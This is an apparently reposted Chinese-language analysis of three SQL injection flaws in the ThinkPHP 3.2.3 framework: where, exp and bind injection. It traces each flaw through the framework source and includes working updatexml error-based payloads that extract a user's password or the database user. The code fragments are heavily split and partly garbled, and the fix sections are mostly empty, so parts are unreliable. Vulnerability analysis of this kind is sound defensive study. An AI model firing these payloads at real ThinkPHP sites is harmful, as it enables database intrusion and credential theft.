ThinkPhp3漏洞原理分析總結

前言

ThinkPhp是目前主流的一款php語言框架,但在使用中,也是產生了很多的高危漏洞。本文小編將從Thinkphp3說起,說明一些tp3框架的漏洞產生原理。使廣大愛好者進一步深刻的理解框架。


環境搭建

下載源碼

編輯器使用了phpstrom

配置數據庫

添加測試數據

Thinkphp3.2.3 where注入

payload

<code>?id[where]=1 and 1=updatexml(1,concat(0x7e,(

select

password

from

users

limit

1

),

0x7e

),

1

)%

23

/<code>斷點

分析

經過htmlspecialchars過濾

於442行通過think_filter函數進行過濾

經過ThinkPHP/Library/Think/Model.class.php:779的find()方法

滿足條件則進入

強制進行轉換,轉換為了int形

帶入查詢

步驟

<code>id=

1

' -> I() -> find() -> __parseOptions() ->_parseType()/<code>

滿足條件才能進去__parseOptions()方法

條件

<code>

if

(

isset

($options[

'where'

]) && is_array($options[

'where'

]) && !

empty

($fields) && !

isset

($options[

'join'

]))/<code>繞過

<code>index.php?id[

where

]=3 and 1=1/<code>

修復

Thinkphp 3.2.3 exp注入

部署環境

payload

<code>http:

//localhost

:

8888

/tp3/index.php?username[

0

]=

exp

&username[

1

]==

1

%20and%20updatexml(

1

,concat(

0x7e

,user(),

0x7e

),

1

)/<code>

分析

進入Model.class.php的822行this−>select(this−>select(options)

跟進select方法

跟蹤Driver.class.php中的parseSql方法

跟蹤Driver.class.php中的parseWhere方法

經過whereStr.=whereStr.=this->parseWhereItem(this−>parseKey(this−>parseKey(key), $val)方法,跟蹤進去

<code>需要時數組才可以進去if語句/<code>

語句exp直接拼接構成注入

<code> }

elseif

(

'bind'

== $exp) { $whereStr .= $key .

' = :'

. $val[

1

];/<code>

修復

使用I方法接受會通過think_filter函數進行過濾

thinkphp 3.2.3 bind注入

payload

<code>index.php?

id

[

0

]=bind&

id

[

1

]=

0

and updatexml(

1

,concat(

0x7e

,user(),

0x7e

),

1

)&password=

1

/<code>環境部署

<code>

public

function

index

()

{ $User = M(

"Users"

); $user[

'id'

] = I(

'id'

); $data[

'password'

] = I(

'password'

); $valu = $User->where($user)->save($data); var_dump($valu); }/<code>

上文說到除了exp還有bind可以進行注入

報錯

進入update方法

進入到了parseWhereItem方法(bind可以注入)

於函數bindParam進行了添加冒號

在Driver.class.php文件execute中進行冒號替換

<code>

if

(!

empty

(

$this

->bind)) { $that =

$this

;

$this

->queryStr = strtr(

$this

->queryStr, array_map(

function

($val)

use

($that)

{

return

'\''

. $that->escapeString($val) .

'\''

;},

$this

->bind)); }/<code>如果payload不是0的話

修復

<code>

https

:/<code>